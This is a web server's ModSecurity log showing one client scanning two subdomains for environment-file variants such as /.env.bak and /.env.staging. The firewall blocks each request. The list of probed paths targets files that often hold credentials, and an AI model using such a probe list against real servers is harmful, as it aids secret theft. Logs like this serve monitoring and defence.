[Tue Oct 27 01:43:43.497712 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6D8qawth2HP9RxtL-vAAAAAY"]
[Tue Oct 27 01:43:43.498016 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6D8qawth2HP9RxtL-vAAAAAY"]
[Tue Oct 27 01:43:43.498310 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6D8qawth2HP9RxtL-vAAAAAY"]
[Tue Oct 27 01:43:43.562533 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6Dw67030o4-ZAUjLplwAAAAg"]
[Tue Oct 27 01:43:43.562735 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6Dw67030o4-ZAUjLplwAAAAg"]
[Tue Oct 27 01:43:43.563031 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6Dw67030o4-ZAUjLplwAAAAg"]
[Tue Oct 27 01:43:43.563600 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6D8qawth2HP9RxtL-vQAAAAY"]
[Tue Oct 27 01:43:43.563775 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6D8qawth2HP9RxtL-vQAAAAY"]
[Tue Oct 27 01:43:43.564004 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6D8qawth2HP9RxtL-vQAAAAY"]
[Tue Oct 27 01:43:43.659139 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6Dw67030o4-ZAUjLpmAAAAAg"]
[Tue Oct 27 01:43:43.659365 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6Dw67030o4-ZAUjLpmAAAAAg"]
[Tue Oct 27 01:43:43.659655 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6Dw67030o4-ZAUjLpmAAAAAg"]
[Tue Oct 27 01:43:43.696953 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6D8qawth2HP9RxtL-vgAAAAY"]
[Tue Oct 27 01:43:43.697188 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6D8qawth2HP9RxtL-vgAAAAY"]
[Tue Oct 27 01:43:43.697465 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6D8qawth2HP9RxtL-vgAAAAY"]
[Tue Oct 27 01:43:43.817187 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6Dw67030o4-ZAUjLpmQAAAAg"]
[Tue Oct 27 01:43:43.817437 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6Dw67030o4-ZAUjLpmQAAAAg"]
[Tue Oct 27 01:43:43.817774 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6Dw67030o4-ZAUjLpmQAAAAg"]
[Tue Oct 27 01:43:43.843645 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6D8qawth2HP9RxtL-vwAAAAY"]
[Tue Oct 27 01:43:43.843889 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6D8qawth2HP9RxtL-vwAAAAY"]
[Tue Oct 27 01:43:43.844180 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6D8qawth2HP9RxtL-vwAAAAY"]
[Tue Oct 27 01:43:43.905204 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6D8qawth2HP9RxtL-wAAAAAY"]
[Tue Oct 27 01:43:43.905427 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6D8qawth2HP9RxtL-wAAAAAY"]
[Tue Oct 27 01:43:43.905763 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6D8qawth2HP9RxtL-wAAAAAY"]
[Tue Oct 27 01:43:44.113682 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6EA67030o4-ZAUjLpmgAAAAg"]
[Tue Oct 27 01:43:44.113955 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6EA67030o4-ZAUjLpmgAAAAg"]
[Tue Oct 27 01:43:44.114353 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6EA67030o4-ZAUjLpmgAAAAg"]
[Tue Oct 27 01:43:44.240451 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6D8qawth2HP9RxtL-wQAAAAY"]
[Tue Oct 27 01:43:44.240690 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6D8qawth2HP9RxtL-wQAAAAY"]
[Tue Oct 27 01:43:44.241011 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6D8qawth2HP9RxtL-wQAAAAY"]
[Tue Oct 27 01:43:44.242410 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6EA67030o4-ZAUjLpmwAAAAg"]
[Tue Oct 27 01:43:44.242565 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6EA67030o4-ZAUjLpmwAAAAg"]
[Tue Oct 27 01:43:44.242829 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6EA67030o4-ZAUjLpmwAAAAg"]
[Tue Oct 27 01:43:44.318209 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6EMqawth2HP9RxtL-wgAAAAY"]
[Tue Oct 27 01:43:44.318460 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6EMqawth2HP9RxtL-wgAAAAY"]
[Tue Oct 27 01:43:44.318764 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6EMqawth2HP9RxtL-wgAAAAY"]
[Tue Oct 27 01:43:44.335037 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6EA67030o4-ZAUjLpnAAAAAg"]
[Tue Oct 27 01:43:44.335236 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6EA67030o4-ZAUjLpnAAAAAg"]
[Tue Oct 27 01:43:44.335482 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6EA67030o4-ZAUjLpnAAAAAg"]
